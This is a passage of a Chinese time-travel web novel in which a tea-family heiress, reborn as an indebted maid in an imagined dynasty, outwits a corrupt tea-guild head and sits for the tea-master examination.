《大珠小珠落玉盘》 1. 第 1 章 雨水顺着“流水行云”的金字匾额往下淌,那乾隆年间的题字在雨幕中依然泛着威严的光。江心月机械地重复着泡茶的动作,每一个布都精准到位,像是被设定好程序的机器。 江心月跪坐在黄花梨茶台前,手腕悬着铜壶,滚水划出精确的弧线注入永乐青瓷——这是祖传的“流云十八式”,乾隆爷当年夸过“江家注水如行云”。 “心月,手腕再抬高一点。”父亲江明远的声音从身后传来,带着不容置疑的威严,“‘流云十八式’讲究''三起三落'',你这样太随意了。”他身上的云纹唐装袖口绣着暗龙,那是御茶房总领后裔才被允许使用的纹样。 江心月的手腕僵在半空,茶叶在热水中缓缓舒展。她没有回头,只是微微调整了姿势。“知道了,爸。”她的声音平静得没有一丝波澜。 茶室里还有其他几位客人,都是慕名而来的老茶客。他们围坐在红木茶桌旁,目光不时瞟向正在泡茶的江心月,眼中满是赞赏。 “江师傅,您女儿的手法越来越精湛了,不愧是尚茶正的传人啊。”一位头发花白的老者赞叹道。 江明远脸上露出自豪的笑容,“心月从小就在茶堆里长大,五岁就能分辨出不同季节的茶叶,十岁已经掌握了基本炒制技术。” 江心月的手指微不可察地颤抖了一下,滚烫的茶水溅在手背上,留下一片红痕。她没有出声,继续完成剩下的步骤。 “大学四年在南京农业大学茶学专业深造,现在回来接手家业正是时候。”江明远继续说道,仿佛在讲述一个早已写好的剧本。 茶终于泡好了,江心月将茶盏一一奉上。她的动作优雅得体,嘴角挂着标准的微笑,只有近距离才能看到她眼中那片死寂。 “谢谢江小姐。”客人们接过茶盏,细细品味。“这茶汤色清澈,香气高雅,入口回甘,真是好茶!” 江心月微微颔首,转身走向茶室后间。门一关上,她脸上的笑容立刻消失,肩膀垮了下来。她靠在墙上,深深吸了一口气,仿佛刚才的表演耗尽了所有力气。 后间是茶叶储存和初步加工的地方,架子上整齐排列着各种茶叶罐,墙上挂着历代尚茶正传人的照片。 江心月的目光扫过那些严肃的面孔,最后停留在自己的大学毕业照上,那是唯一一张她笑着的照片。 “心月,别偷懒,前厅的茶该换了。”母亲的声音从门外传来。 “马上来。”江心月应了一声,迅速调整表情,重新端起茶盘走出后间。 雨越下越大,窗外的天色渐渐暗了下来。茶客们陆续离开,最后一位客人走时已是晚上八点多。 “今天表现不错,”江明远一边清点茶具一边说,“不过第三泡的水温还是偏高,明天注意。” 江心月默默收拾着茶具,手指在紫砂壶边缘无意识地摩挲着。她的手机在口袋里震动,大学同学群里正在讨论新开的网红奶茶店。她瞥见屏幕上跳出的抹茶奶盖图片,突然停下动作。 “爸,我有个想法。”她转身时碰倒了茶则,金属器具在楠木茶盘上发出清脆的碰撞声。 江明远皱眉捡起茶则,“毛手毛脚的,像什么样子。” “现在年轻人都不爱喝传统茶了。”江心月直接抽出纸巾擦掉洒落的茶叶,“我是说,我们可以保留传统茶道,同时卖些年轻人喜欢的奶茶。” “你想在尚茶正卖那种糖水?”江明远的声音像突然降温的茶汤,“你知道一杯奶茶里有多少添加剂吗?” “我们可以做健康版的!”江心月拉开抽屉,取出早就准备好的企划书,“用自家茶园的真茶底,鲜牛奶代替奶精,保证品质...” “品质?”江明远冷笑一声,一掌把企划书拍在茶台上,“往茶里加奶加糖,这叫糟蹋!” “现在的孩子连茶叶该是什么香味都不知道!他们只觉得这是老人味!是过期货!”江心月忽然提高音量。 “那也不能糟蹋茶道!”江明远抓起茶巾重重擦拭茶海,“尚茶正的规矩——茶不过三冲,器不逾百年,方不改一字!” 江心月突然抄起茶台上的紫砂壶:“那这是什么?顾景舟大师的作品还不到百年吧?”她手指摩挲壶底“景舟”印款,“祖宗用瓷壶的时候,不也破了''器不逾百年''的规矩?” 江明远脸色变得像陈年普洱般晦暗:“你...你竟敢妄议祖训...” “我不是在议祖训!”江心月从柜子里拽出泛黄的《御茶房实录》,纸页哗啦翻到某处,“乾隆三十五年记载,尚茶正江云章改进团茶制法,当时多少人骂他背祖忘宗?可现在呢?”她指甲掐着那段文字,“要不是祖宗敢变通,尚茶正早跟着前朝一起亡了!” “文化死了还谈什么传承!我是说需要改变!”江心月踢开脚边的蒲团,“我们可以保留传统茶室,隔出半边做新式茶饮。就像苏州博物馆,老房子接上新玻璃...” “那是贝聿铭大师的手笔!”江明远突然暴喝,惊得窗外麻雀扑棱棱飞走,“你当这是过家家?今天加奶茶明天加咖啡?祖宗定的''茶有真香不假外物''都喂狗了?” “老祖宗喝过冰箱冷藏的茶吗?用过电磁炉烧水吗?”江心月一把拉开冰柜门,“时代在变,我们不变就是等死!” 江心月把调研报告拍在桌上,“对面商场奶茶店一天卖三百杯,我们呢?三杯?” “尚茶正从来不以量取胜。”江明远抓起报告扫了一眼,随手扔进废纸篓,“乾隆爷赏的匾额还挂着呢,你就这么作践?” “那块匾都快被灰尘埋了!”江心月突然冲到门口,指着街上匆匆躲雨的行人,“您看看,有人往我们这儿看一眼吗?” “不需要那些不懂茶的人!”江明远猛地站起来,唐装下摆带翻了茶壶,“尚茶正的茶,是给知音品的。” “知音?”江心月突然笑了,从柜台里抽出客户登记本,“王老爷子上个月走了,李教授搬去养老院了,剩下这些...”她哗啦啦翻着几乎空白的本子,“有一个比我年轻的吗?” 雨声突然变大,茶室里的空气像凝固了一样。江明远慢慢坐回太师椅,声音突然沙哑:“所以,你觉得尚茶正该关门了?” “我是说该改变了!”江心月蹲下来,与父亲平视,“我们可以在保留传统的同时...” “没有同时!”江明远突然拍案而起,“要么守祖宗规矩,要么去卖你的奶茶!” 泛黄的纸张散落一地,露出里面清一色的“龙井”“普洱”手写字样。江明远弯腰去捡,后颈凸起的骨节在唐装领口格外明显。 “爸...”江心月看见他发间银丝,语气突然软了,“我不是要抛弃传统,是想让它活下去...” “用奶茶活下去?”江明远直起身,手里攥着皱巴巴的点单纸,“当年日本人都没让尚茶正改配方,现在你要向香精色素投降?” 江明远用力捏着点单纸,指尖开始泛白,“尚茶正三百年的传承,不能毁在你这一代!” “三百年的传承与我何干?”江心月的眼眶红了,“从小到大,我没有一天是为自己活的!每天就是学茶、练茶、背茶经!你们有没有问过我想要什么?” 江明远愣住了,似乎没想到女儿会这样顶撞他。片刻后,他沉下声音:“心月,你是尚茶正的女儿,这是你的命。” “命?”江心月的声音颤抖着,“那我的梦想呢?我的选择呢?就因为生在江家,我就必须放弃一切吗?” “你太不懂事了!”江明远怒斥道,“茶道是我们江家的根,是我们的骄傲!你看看外面多少人羡慕你能继承这样的家业!” “我不稀罕!”江心月终于爆发了,“我讨厌茶!讨厌每天重复同样的动作!讨厌你们强加给我的一切!” 这句话像一把利剑刺进江明远的心脏。他的脸色瞬间变得苍白,“你...你说什么?” 江心月意识到自己说了什么,但已经无法收回。她深吸一口气,“我说,我讨厌茶道。从小到大,我从来没有喜欢过。” 雨声更大了,敲打着屋顶和窗户,仿佛在为这场冲突伴奏。江明远的手微微发抖,他缓缓坐下,像是突然老了十岁。 “你走吧。”他最终说道,声音低沉而疲惫,“既然你这么讨厌江家的一切,那就走吧。别再回来了。” 江心月站在原地,泪水在眼眶中打转。她没想到父亲会这样说,一时不知如何回应。 “我给了你生命,给了你最好的教育,把你培养成尚茶正的传人。”江明远继续说,眼睛盯着桌面,“如果你觉得这些都是负担,那就去过你想要的生活吧。” 江心月张了张嘴,想说些什么,但最终什么也没说。她转身走向门口,拿起挂在衣架上的外套。 “心月!”母亲从里屋冲出来,脸上满是惊慌,“这么晚了,你要去哪?外面雨这么大!” “让她走!”江明远厉声道,“既然她这么不喜欢这个家,就让她自己去闯!” 江心月没有回头,径直推开了茶室的门。冰冷的雨水瞬间打湿了她的头发和衣服,但她毫不在意,大步走进雨夜中。 “心月!回来!”母亲的声音在身后呼喊,但很快被雨声淹没。 街道上空无一人,路灯在雨中形成模糊的光晕。江心月漫无目的地走着,泪水混合着雨水流下面颊。她不知道自己要去哪里,只是想逃离那个充满茶香却令她窒息的地方。 一辆汽车从远处驶来,车灯在雨幕中形成两道明亮的光柱。江心月恍惚中走到马路中央,刺眼的灯光照在她苍白的脸上。 急促的刹车声划破夜空,然后是沉闷的撞击声。 江心月感到一阵剧痛,然后世界开始旋转。在失去意识前的最后一刻,她仿佛闻到了淡淡的茶香,那是童年时父亲泡给她的第一杯茶的味道。 ———— 江心月是被一盆冷水泼醒的。 “死丫头,太阳晒屁股了还装死!”尖锐的女声刺入耳膜。 冰冷的水顺着发丝流进衣领,江心月猛地打了个寒颤,睁开眼看到一张涂着厚厚脂粉的妇人面孔。那妇人约莫四十岁上下,头戴铜簪,身着褐色粗布衣裙,正叉腰瞪着她。 “刘、刘管事?”江心月下意识脱口而出,随即愣住了——她根本不认识这个妇人,却莫名知道她的名字。 “装什么糊涂!”刘管事一把揪住她的耳朵,手把一张黄褐色的契纸拍在柴堆上,“睁大你的狗眼瞧瞧!今儿初七,赵会长等着收账呢!连本带利十二贯钱,少一个子儿——” 她阴笑一声,“城南窑子的鸨母可早惦记着你呢!” 耳朵火辣辣的疼让江心月彻底清醒过来。她环顾四周,发现自己躺在一张简陋的木板上,身下是散发着霉味的稻草垫。狭小的房间里还挤着另外三个铺位,墙角堆着几个破旧的木盆。 这不是她的公寓!她明明记得昨晚父亲在茶室吵架,回家路上被一辆闯红灯的汽车...... “穿越了?”江心月低头看着自己粗糙的双手和身上灰扑扑的粗布衣裙,心跳如鼓。 “三娘子贵人多忘事?”刘管事一脚踢翻墙角的陶罐,黑乎乎的茶渣撒了一地,“去年你娘病得只剩一口气,可是赵会长发善心,提前支了你半年的工钱!怎么,如今想赖账?” 江心月抓起那张纸,指尖触到一团模糊的红指印。借据上的字歪歪扭扭,像是用烧火棍蘸了墨汁写的:“江三娘借茶行公会六贯钱,若逾期不还,自愿签十年工契抵债。” 江心月脑子里闪过原主的记忆——瘦成一把骨头的江母躺在破席上咳血,赵会长假惺惺递过来一包铜钱,转头就让刘管事按着原主画了押。 “这个月的工钱……能不能先抵些利息?”她小声试探。 “工钱?”刘管事突然揪住她衣领,酸臭的口气喷在她脸上,“你当赵家是开粥棚的?预支的银子早扣光了!” 她被拽得踉跄两步,后腰狠狠撞上柴堆,疼得眼前发黑。 “今日若还不上钱——”刘管事甩开手往门外走,布鞋碾过满地茶渣,阴恻恻地笑,“等着给那些船工唱曲儿吧!” 待骂骂咧咧的脚步声远去,江心月慌忙爬起来,在墙角水盆的倒影中看到一张陌生的脸——约莫十六七岁的少女,面色蜡黄,唯有一双杏眼明亮有神。 记忆如潮水般涌入——这是宁朝永安城,她是云来茶馆新买的烧火丫鬟,因笨手笨脚一直被安排在厨房打杂。原主也叫江心月,昨夜因打碎一套茶具被罚跪到半夜,饥寒交迫中没了气息...... “有意思。”江心月揉了揉太阳穴,“五百两黄金...”她喃喃自语,突然笑出了声,“我连五十文都拿不出来。” 她慢慢站起身,目光落在地上的茶渣上。在现代,她最擅长的就是用次等茶叶做奶茶。拾起一撮茶渣捻了捻,嘴角微微上扬。 “欠债还钱,天经地义。”她拍拍衣裙上的茶渣,“不过还钱的方式...得我说了算。” “三娘子发什么呆?”小草抱着柴火进来,“赵会长要的龙凤团茶还没备好呢。” 江心月看着柜子里发霉的茶饼,突然问:“这些坏了的茶叶,通常怎么处理?” “倒掉呗。”小草撇撇嘴,“上个月李管事倒夜香时偷藏了两块,被发现了差点打断腿。” 江心月的心砰砰直跳。她悄悄抓了把霉茶藏进袖子里,又顺手拿了小半罐蜂蜜——这是昨天赵会长赏给管事的,还剩个底儿。 刘管事再次来找麻烦时,她已在后院劈完三垛柴。三垛柴火整整齐齐码在墙角,斧刃在日头下泛着冷光。 整天就想着怎么解决还款一事,还真让她找到了破解之法。 “哟,今儿太阳打西边出来了”刘管事吐掉嘴里的瓜子壳,眯眼打量她,“这么勤快,莫不是想着早点还债?” 江心月擦了把汗,顺手把斧头往木桩上一钉,“咚”的一声闷响:“嬷嬷说笑了,我这不是怕耽误了茶行的生意嘛。” 刘管事冷笑一声,从袖子里掏出账本,“啪”地拍在石磨上:“少在这儿装模作样!今儿要是还不上钱——” 她故意拖长声调,枯瘦的手指戳着账本上那页欠条,“就拿你娘的坟地抵债!” 正在井边打水的几个帮工顿时竖起了耳朵。 江心月余光瞥见几个茶客也放慢了脚步,她心里暗笑,面上却做出惊慌的样子:“这可使不得!《宁律》第三百二十条明令禁止占人坟地,赵会长最是遵纪守法的人,怎么会做这种伤天害理的事?” 她声音清亮,引得路过的茶客纷纷侧目。 有个穿绸衫的老爷子直接停住脚,皱眉看向刘管事。 “放屁!”刘管事被瓜子壳呛得直咳嗽,一张老脸涨得通红,“你少在这儿——” “不好了!”茶博士慌慌张张从西厢跑出来,手里捧着块发黑的茶饼,“刘嬷嬷,西厢的龙凤团茶全发霉了!” 江心月耳朵一动。那茶饼上泛着的可不是霉斑,是她今早偷偷泼上去的木薯浆,晾干后活像长了层白毛。 “什么?!”刘管事顿时顾不上讨债了,提着裙子就准备往西厢跑,“那可是要进贡给知府大人的!” 几个帮工互相使着眼色偷笑。 “会长到——” 随着一声吆喝,赵浩广踩着鹿皮靴大步跨进院子,腰间挂着的茶印铜牌叮叮当当乱响。 他捏起发霉的茶饼,三角眼众人脸上扫来扫去:“谁干的?嗯?” 院子里顿时鸦雀无声。连最爱嚼舌根的帮厨王婆子都缩着脖子往后躲,谁不知道这茶是要进贡给官府的。 “就是她!”刘管事突然从人群里窜出来,狠狠推了江心月一把,“老身亲眼看见她今早在西厢鬼鬼祟祟!” 江心月被推得一个踉跄,顺势跪倒在地。她不慌不忙捧起地上的碎茶:“会长容禀,这不是霉变,是天赐的福气啊!” 在众人惊愕的目光中,她快步走到茶炉前,将茶末撒入沸水,“陆羽《茶经》有载,金花菌茶可愈肠疾。” 琥珀色的茶汤在阳光下泛起金光,江心月知道这是现代熟普洱的模样。 “放屁!”赵浩广的玉扳指“当”地磕在茶盏上,“你当老夫是三岁孩童?” 江心月膝行到他跟前,压低声音:“三日前岭南刺史府的采办来店里,说重金求购养生茶。” 她从袖中掏出誊写的纸条,“您看,刺史夫人久痢不愈,正需要这样的金花菌茶。” 赵浩广眯起眼睛:“今早刘管事找你要债了?” “刘管事让三娘时刻记得会长的恩情。”江心月突然声音哽咽,“去年要不是会长开恩预支工钱,我娘连口薄棺都......”说着用袖子抹了抹眼角。 周围顿时响起嗡嗡的议论声。帮工们交头接耳,有个小丫头甚至红了眼眶。 赵浩广敲了敲烟杆:“陈大,算账。” 霞光透过窗纸,把账房映得通红。 算盘珠子噼里啪啦响了小半个时辰,江心月就直勾勾地盯着陈大手里的算盘小半个时辰。 在最后一枚算珠“哒”地落位后,陈大俯身在赵浩广的耳边低语了几句。 “利钱免了,本金照旧。”赵浩广把契书往桌上一拍。 江心月闻言松了一口气,今日这一关总算是过了。 “谢会长开恩!”江心月深深拜下去,眼角余光却瞥见账本夹页里露出一角靛蓝色。 那分明是伙计们被克扣的工钱记录,密密麻麻写着“张三五贯”“李四三贯”...... 回柴房的青石板路上,江心月正低头盘算着如何改良茶渣配方,忽然被人拽住了袖子。 “三娘!”一个圆脸姑娘气鼓鼓地挡在她面前,“我在这儿等了你半个时辰,你怎么看都不看我一眼?”说着从怀里掏出个油纸包,“喏,刚出锅的芝麻饼。” 江心月愣住了。这姑娘约莫十五六岁,杏眼圆脸,扎着两个小髻,看着莫名眼熟。油纸包热乎乎的,边缘沾着茶渍,捏起来酥脆作响。 “三娘,你咋知道刺史家要买药茶?”呆姑娘凑过来,呼出的热气弄得她耳朵发痒,“难不成你会算命?” 江心月这才反应过来——这是原主的好友呆六娘。她抿嘴一笑,指尖无意识地摩挲着油纸包上的茶渍。那所谓的刺史府文书,不过是她用灶灰掺水伪造的,今早特意蹭上茶汤做旧。 这法子糊弄得了一时,可等赵会长真去打听...... “哎哟!”呆六娘突然拍了下脑门,“原来你昨儿跟我要《茶经》是为这个!”她眼睛亮得惊人,“能帮上忙就好。” 江心月心头蓦地一暖。穿越以来,这是第一个对她露出真心笑容的人。她忽然想起原主记忆里,有次饿得发昏,就是这个姑娘偷偷塞来块热馍,还说是自己买多了。 江心月突然抓住她的手:“六娘,你说......要是有人要五百两黄金才肯放你回家,你会怎么办?” “啊?”呆六娘被她问懵 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江心月回到柴房,叼着半块发硬的饼子。柴房里的老鼠突然不啃木薯了。外头窸窸窣窣的说话声混着夜风飘进来。 她猫着腰缩进灶台后的阴影里,月光从破窗棂漏进来,正照见赵浩广的衣角在月洞门一闪而过,腰间七枚茶印碰得叮当响。 “会、会长...”张二佝偻着腰,怀里紧紧抱着个青瓷罐子,指节都攥得发白,谄媚的嗓音打着颤,“这是岭南新到的蜜香单丛,特地孝敬您...” 江心月抽了抽鼻子。哪有什么茶香,分明是铜钱锈味儿。 “啪嗒”。赵浩广的玉扳指漫不经心叩着石桌。 张二抖着手掀开麻布,罐子里露出个鼓鼓囊囊的靛蓝钱袋。 赵浩广的声音像浸了冰:“私受贿赂,可是要割舌头的。” “会长明鉴!”张二膝盖砸在青石板上,“小的、小的还有这个...”他从怀里摸出张的契纸,“您上月提过的城南茶园...” 江心月眯起眼。月光下能看清“王寡妇”三个字。 羊脂玉扳指慢悠悠划过契纸边缘,赵浩广突然轻笑一声:“白露那天申时三刻,鹤鸣堂的茶碾子该换新的了。” “小的明白!”张二猛地磕头,“一定把碾槽擦得锃亮,能照见人影的那种。” 赵浩广掸了掸衣袖,突然朝柴房阴影瞥了一眼:“茶行最重规矩,可别学那些个眼皮子浅的——” 他话音未落,几只老鼠“吱吱”叫着从墙角窜过。 等脚步声彻底消失,江心月才从灶台后钻出来。 她踢了踢地上散落的茶叶渣,突然发现一片金叶子正卡在石缝里。准是张二慌里慌张落下的。 江心月攥着金叶子蹲回阴影里,心想明早得找瘸腿张问问,那个“擦茶碾”究竟是什么意思黑话。 这茶行的浑水,怕是能淹死一头牛。 ———— 夜深了,院子里静悄悄的,只有蟋蟀在草丛里叫。江心月蹲在灶台前,借着月光小心翼翼地把发霉的茶饼掰碎,放进瓦罐里烘烤。羊奶在另一个小锅里咕嘟咕嘟冒着泡,混着茶香的雾气飘了满院,惹得隔壁家的狗都汪汪叫了两声。 “三娘子,你捣鼓什么呢?”呆六娘扒着篱笆探进头来,鼻子使劲嗅了嗅,“好香啊!” 江心月吓得手里的竹勺差点掉地上,见是呆六娘,这才松了口气。她舀了半碗刚熬好的奶茶递过去:“尝尝?小心烫。” 呆六娘接过来,也顾不上烫,咕咚就是一大口,眼睛瞪得溜圆:“天呐!这比云来茶馆的茶汤还好喝!”她咂巴着嘴,又舔了舔嘴角的奶沫,“甜丝丝的,还有股子茶香,就是......” 她突然压低声音,“你要找的羊奶有着落了。西街卖豆腐的老张家媳妇刚生了崽,她家养了两头奶羊。说好了,后日寅时在菜市口槐树下等你,一桶奶要十五文钱。” “当真?”江心月差点蹦起来,又赶紧捂住嘴。灶膛里的火苗映得她眼睛亮晶晶的,“太好了!我这些天琢磨着做奶茶卖,正愁找不到奶源呢。老张家媳妇可靠吗?” “小声点儿!”呆六娘急得直跺脚,差点踩到自己的裙角,“刘管事那个侄女最近总在菜市口转悠,专逮人小辫子。老张媳妇人实在,就是嘴有点碎,你可别跟她多说。” 江心月捏了捏呆六娘的手掌:“我知道分寸。”她突然想起什么,从怀里掏出个油纸包,“给,这是今儿刘管事赏的芝麻糖,我留了一半给你。” 呆六娘接过糖,眼睛笑成了月牙。江心月看着她开心的样子,心里一暖,突然说:“六娘,想不想赚钱?” “啊?”呆六娘正往嘴里塞糖,闻言一愣,“赚钱?怎么赚?” “明天帮我收些霉变的茶饼,再找点野薄荷。”江心月压低声音,凑近她耳边,“赚了钱,咱们对半分。” 呆六娘眨巴着眼睛,糖都忘了嚼:“可...可要是卖茶需要茶博士令牌......咱们连茶摊都支不起来啊。” “我正想问你呢。”江心月往灶膛里添了根柴火,火苗一下子窜高了,“茶博士考核是个什么流程?要是我能考个牌子......” 呆六娘掰着手指头说:“我表哥去年考过,说要先背《茶经》,足足三大卷呢。还得会分辩二十四种茶叶,连泡茶的水温都要拿捏准。最吓人的是实操考,上回抽到要在众人面前现炒青茶,我表哥紧张得把茶叶都炒糊了......” 江心月搅奶茶的手顿了顿,苦笑道:“这不就跟考秀才似的?” “可不嘛!”呆六娘突然拍了下大腿,震得篱笆都晃了晃,“哎呀,但是今年茶博士考核的考章早就分配完了。我今儿去茶行,听赵会长跟人说名额都定好了。” 江心月手里的竹勺“啪”地掉进锅里,奶白的汤汁溅了她一手:“什么?那岂不是......”她擦了擦手,突然闻到一股焦味,“糟了!茶烤过头了!” 她手忙脚乱地把瓦罐从火上端下来,呆六娘凑过来闻了闻:“咦,这焦香味还挺特别。” 江心月眼睛一亮:“对啊,咱们可以......”她突然神秘地笑笑,“六娘,咱们不卖茶,咱们卖''酪饮''。胡商管加了奶的茶叫这个,不算正经茶饮,自然不用茶博士牌子。” 呆六娘噗嗤笑出声,差点被糖噎着:“三娘你可真机灵!不过......”她突然紧张地四处张望,声音压得更低了,“赵会长那边......他要是知道咱们抢生意......” “放心,”江心月把最后一块芝麻糖塞进嘴里,嚼得嘎嘣响,“我有办法应付他。” 月光下,两个姑娘的脑袋凑在一起,灶火映着她们亮晶晶的眼睛。 远处传来打更的声音,呆六娘突然“哎呀”一声:“完了完了,我娘该找我了!”她慌慌张张地翻过篱笆,又回头叮嘱:“三娘,记得后日寅时,菜市口槐树下!” 江心月笑着挥手,看着呆六娘的身影消失在夜色中。她低头看了看锅里焦香的茶渣,又嗅了嗅空气中甜腻的奶香,心里渐渐有了主意。五百两黄金的目标似乎没那么遥不可及了。 ———— 天刚蒙蒙亮,云来茶馆就挤满了生面孔。 江心月提着铜壶给客人添水,突然被刘管事一把拽到墙角。 “待会儿官差问话,你给我把嘴闭严实了!”刘管事尖利的指甲掐进她胳膊肉里,疼得她直抽气,“是敢胡说八道,看我不撕烂你的嘴!” 还没等她回过神,一个穿皂靴的衙役就敲着桌子问:“丫头,昨晚可见过张二?” “张二?!”江心月手一抖,壶嘴溅出几滴热水。 “今早在左弯河发现他的尸体。” “昨晚没见过。”江心月余光瞥见楼梯口闪过一抹靛蓝色,突然提高嗓门,“倒是今早在月洞门捡着个钱袋子。” “少扯闲篇!”衙役“啪”地拍在桌上,震得茶盏乱跳,“问你什么答什么!” 整个大堂瞬间安静下来,后厨炭火爆响的声音格外刺耳。 赵浩广端着茶盘的手指发白,脸上却堆着笑:“官爷辛苦,新到的雨前龙井正温着。” 等衙役上了楼,江心月蹲在后院闷头劈柴。 斧头“咚”地砍进榆木,身后突然传来冷笑:“昨夜仓库闹的耗子,原是你这只白眼狼。” “赵会长说笑了。”江心月胡乱擦了擦脸,木屑粘在睫毛上,“我这种粗使丫头,连仓库门朝哪开都不知道。” “那钱袋子......” “听说白将军昨儿下狱了?”江心月突然抡圆斧头,木屑溅上赵浩广鞋上,“我今早经过告示墙,看见上面写着张二手里攥着半张借据,衣服上还挂着靛蓝线头。” 赵浩广一脚踢开脚边的木柴:“给你免了本金!” “本金?”江心月停下斧头,喘着粗气,“我要顶张二的名额去考茶博士。” 她知道光还钱没用,烧火丫头永远低人一等。 可要是考上茶博士,就算最差也能支个茶摊,不用再看人脸色过日子。 “你?”赵浩广像是听见灶台上的咸鱼开口说话,“大字不识的烧火丫头,想当茶博士?” “这就不劳赵会长操心了。”江心月把斧头往木桩上一剁,震得赵浩广眼皮直跳,“您说,要是官差知道靛蓝线头的事,这云来茶馆会不会换个东家?” 赵浩广盯着嗡嗡震动的斧柄,突然笑出声:“好!我倒要看看你怎么把烂树叶泡出龙井味!” 2. 第 2 章 天刚亮,陈婶的骂声响彻了整个院子:“懒骨头!太阳都晒屁股了还不起!” 江心月把被子往头上一蒙,可那破锣嗓子还是直往耳朵里钻:“昨儿个糟践半袋黍米,今儿个又装死!” “吱呀——” 陈婶带着一身油烟味冲了进来,扬起的手掌眼看就要落下。 江心月一个翻身躲开,这场景她再熟悉不过了。自从穿越到这个身体里,每天清晨都要上演这么一出。 “三娘子醒了?”呆六娘怯生生地站在门口,手里食盒随发抖的指尖轻轻晃动:“赵会长差人传话,申时三刻要考茶博士......” “申时?现在才卯时!”陈婶叉腰冷笑,“小一个两个都赶着投胎是吧?”她一脚踢开挡路的铜盆,泔水溅了一地,骂骂咧咧地走了。 江心月赤脚踩在冰凉的青砖地上,晨间的寒气从脚底直往上窜。 “三娘......”呆六娘端着热气腾腾的黍米粥走进来,碗里冒出的白气模糊了她的眉眼:“陈婶刚才好凶啊!” “陈婶就是嘴上厉害,其实心肠不坏。”江心月接过粥碗,感受着掌心传来的温度,“你别怕她。” “我知道陈婶人好......”呆六娘搓了搓手,声音越来越小,“可我就是忍不住害怕。” 她犹豫了一下,又想起什么似的:“对了,这茶博士考核的名额......” “他张二给了赵浩广一袋金叶子。”江心月吹开粥上的热气,“用靛蓝织锦钱袋装着,绣着三爪蟒纹。” 赵浩广是茶行的会长也是宫廷贡茶的负责人,每年在云来茶馆为皇宫选拔茶博士。 呆六娘听得一愣一愣的,“那你......” 江心月放下粥碗,环顾着这间破旧的屋子。漏风的窗户,发霉的墙壁,还有那张吱呀作响的木床。 她想起现代那个温馨的小公寓,心里一阵酸楚。但很快,她又振作起来。 “六娘,你说我现在还有什么好怕的?”江心月的声音很轻,却很坚定,“只要考上茶博士,我就能名正言顺去夜市摆摊。” 呆六娘看着江心月亮晶晶的眼睛,突然觉得这个从小一起长大的玩伴变得有些陌生,却又莫名让人安心。 “三娘,我......”她话没说完,院外突然传来陈婶的喊声:“六丫头!你娘找你呢!” 呆六娘慌忙站起来:“我、我得走了。”她走到门口又回头,“三娘,我相信你一定能行。” 窗外,晨光渐渐驱散了黑暗。江心月望着那抹亮色,心中升起一丝希望。今天的考核,她一定要全力以赴。 ———— 秋日的阳光斜斜地照进鹤鸣堂,十二扇雕花窗户全都敞开着,却怎么也吹不散满屋子的茶油味。 江心月跪坐在最末位的蒲团上,抬头看见厅堂正中挂着“陆羽遗风”的檀木匾额。 江心月低头看看自己粗麻衣袖上的炭灰,衣襟上还沾着昨晚挑水时溅上的泥点。 周围那些穿着锦缎襕袍的学徒们不时投来轻蔑的目光,让她觉得自己就像一只误入鹤群的灰麻雀。 她的目光紧盯着面前的茶具,手指不自觉地摩挲着粗陶茶碾。 这茶碾比起其他学徒用的鎏金茶罗子,简直寒酸得可怜。 “江心月,”旁边一个穿着湖蓝色锦袍的学徒赵启突然开口,“你这茶碾...倒是别致。”话里带着明显的嘲讽。 江心月抬起头,不卑不亢地回道:“粗陶茶碾虽不起眼,但碾出的茶末更细。” 她轻轻抚过茶碾边缘,“这可是《茶经》里记载的。” 那学徒一时语塞,悻悻地转过头去。 江心月暗自松了口气,却听见前面传来一声轻咳。赵浩广不知何时已经站在了主位上,正用审视的目光扫视着众人。 赵浩广刚出现在鹤鸣堂,十多个茶博士学徒便呼啦啦围了上去。 这位茶行会长头戴镂空幞头,脚踩鹿皮靴,腰间挂着七枚茶印,是象征七大茶山的掌控权。 “会长您坐这儿!”一个胖学徒急忙搬来圈椅。 “这是用山泉水泡的。”瘦高个端着茶盘的手直发抖,茶汤在杯口晃出涟漪,“您尝尝今春的雨前龙井。” 赵浩广摆摆手:“都回去候着。” “点茶三昧手,需奉三清境。”他走到江心月面前,玉板在茶焙上轻轻一敲,溅起的滚水落在江心月手背上。 “嘶——”江心月赶紧撩起衣袖擦拭,手背已经红了一片。 李嬷嬷立刻扯着嗓子骂:“不长眼的东西!惊扰了会长,看我不收拾你!” “无妨。”赵浩广用茶盖拨了拨浮沫,“去把东墙那排茶笼搬来。”他突然转向缩在角落的江心月,“你来帮忙。” 满屋子的学徒都瞪大了眼睛。 小胡子学徒急得直搓手:“这种粗活哪能让会长操心,我来我来!”说着就要挤到江心月前面。 “让你动了么?”赵浩广的茶盏重重磕在案几上,碧绿茶汤溅在描金账本上,“分茶讲究腕力,你们倒好——”他突然抄起把铜茶匙敲在胖学徒手背上,“抖得跟筛糠似的,喂猪都嫌寒碜!” 江心月低着头往木架走去,听见身后此起彼伏的抽气声。 茶笼压得她小臂发红,李嬷嬷突然伸脚绊她。 竹篓里的炭块滚到赵浩广脚边,在青砖地上拖出几道黑印。 “手脚这般不利索。”赵浩广用鞋尖拨了块炭,“做也就配当个烧火丫头。” 圆脸学徒忍不住笑出声,被李嬷嬷瞪得缩了脖子。 江心月蹲身捡炭的动作顿了顿,突然抬头道:“会长这茶沏老了,换第三道山泉水正合适。” 整个厅堂瞬间安静得能听见窗外的蝉鸣。 赵浩广的目光扫过江心月,嘴角浮起冷笑:“烧火丫头也想出头?那就看看灶王爷给不给你这个面子。” 江心月抿了抿嘴唇,她知道赵浩广是在刁难她。但现在退缩只会让这些人更看不起她。 云来茶馆后院,十二个考生排成三排。江心月攥着考牌,手心里全是汗。 “第一场,辨茶!”茶博士敲了敲铜锣,“每人面前六盏茶,报出茶名、产地、采摘时节!” 江心月深吸一口气,走到长桌前。第一盏茶汤色清亮,她捧起来闻了闻,又抿了一小口。 “顾渚紫笋,湖州产,谷雨前摘的。”她声音不大但很清晰。 旁边监考的赵浩广挑了挑眉:“哦?你怎么看出来的?” “叶形细长如笋,汤色带紫,这是顾渚紫笋的特点。”江心月指着茶叶,“而且火工轻,应该是新茶。” 赵浩广不置可否,示意她继续。 第五盏茶时,江心月皱起了眉。这茶有股子霉味,但又不是单纯的坏茶。 “这是...故意渥堆的普洱茶?”她不太确定。 “错!”赵启在后面嗤笑,“连老茶头都认不出来!” 江心月耳朵发烫,但第六盏茶她答得干脆:“这是用松烟熏过的正山小种,带着松香味。” 轮到《茶经》考核时,江心月不紧不慢地走到考官面前。赵浩广随手翻开一页:“从‘茶之为饮,发乎神农氏’开始背。” 江心月嘴角微微上扬。《茶经》她太熟悉了,年少时只要她犯错,她都要抄写全文三遍,连标点符号都记得清清楚楚。 